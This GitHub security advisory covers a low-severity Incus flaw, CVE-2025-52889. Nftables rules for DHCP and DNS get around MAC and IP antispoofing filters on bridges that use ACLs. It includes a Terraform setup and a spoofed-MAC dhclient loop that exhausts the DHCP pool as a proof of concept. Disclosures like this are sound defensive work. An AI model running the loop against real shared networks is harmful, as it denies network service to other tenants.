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DoS through antispoofing nftables firewall rule bypass on bridge networks with ACLs

Low
stgraber published GHSA-9q7c-qmhm-jv86 Jun 25, 2025

Package

gomod github.com/lxc/incus/v6/cmd/incusd (Go)

Affected versions

6.12, 6.13

Patched versions

6.14

Description

Summary

When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks.

Details

In commit a7c3330, the following rules are added at the top of the bridge input chain:

iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept

However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet:

iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop

Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.

Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server:

{{ if .dnsIPv4 }}
{{ range .dnsIPv4 }}
iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}

{{ if .dnsIPv6 }}
{{ range .dnsIPv6 }}
iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}

An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.

PoC

With this terraform infrastructure:

resource "incus_network_acl" "acl_allow_out" {
  name    = "acl-allow-out"
  egress = [
    {
      action           = "allow"
      destination      = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
      state            = "enabled"
    },
  ]
}
resource "incus_network_acl" "acl_allow_in" {
  name    = "acl-allow-in"
  ingress = [
    {
      action           = "allow"
      state            = "enabled"
    },
  ]
}

resource "incus_network" "br0" {
  name = "br0"
  config = {
    "ipv4.address"          = "10.0.0.1/24"
    "ipv4.nat"              = "true"
  }
}

resource "incus_instance" "machine1" {
  name  = "machine1"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
    "cloud-init.vendor-data" = <<-EOF
      #cloud-config
      package_update: true
      packages:
        - dhclient
        - tcpdump
      runcmd:
        - systemctl disable --now systemd.networkd.service
        - systemctl disable --now systemd.networkd.socket
    EOF
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
      "security.ipv4_filtering" = true
      "security.acls" = join(",",
        [
          incus_network_acl.acl_allow_out.name,
          incus_network_acl.acl_allow_in.name,
        ])
    }
  }
}

resource "incus_instance" "machine2" {
  name  = "machine2"
  image = "images:archlinux/cloud"
  type = "virtual-machine"
  config = {
    "limits.memory" = "2GiB"
    "security.secureboot" = false
    "boot.autostart" = false
  }
  device {
    type = "disk"
    name = "root"
    properties = {
      pool = "default"
      path = "/"
      size = "64GiB"
    }
  }
  device {
    type = "nic"
    name = "eth0"
    properties = {
      network = incus_network.br0.name
    }
  }
}

An attacker in a VM requests many IP addresses and exhaust the pool:

[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done

[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases  |wc -l
254

[HOST]$ incus start machine2

At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.

Impact

All versions since a7c3330, so basically v6.12 and v6.13.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L

CVE ID

CVE-2025-52889

Weaknesses

No CWEs

Credits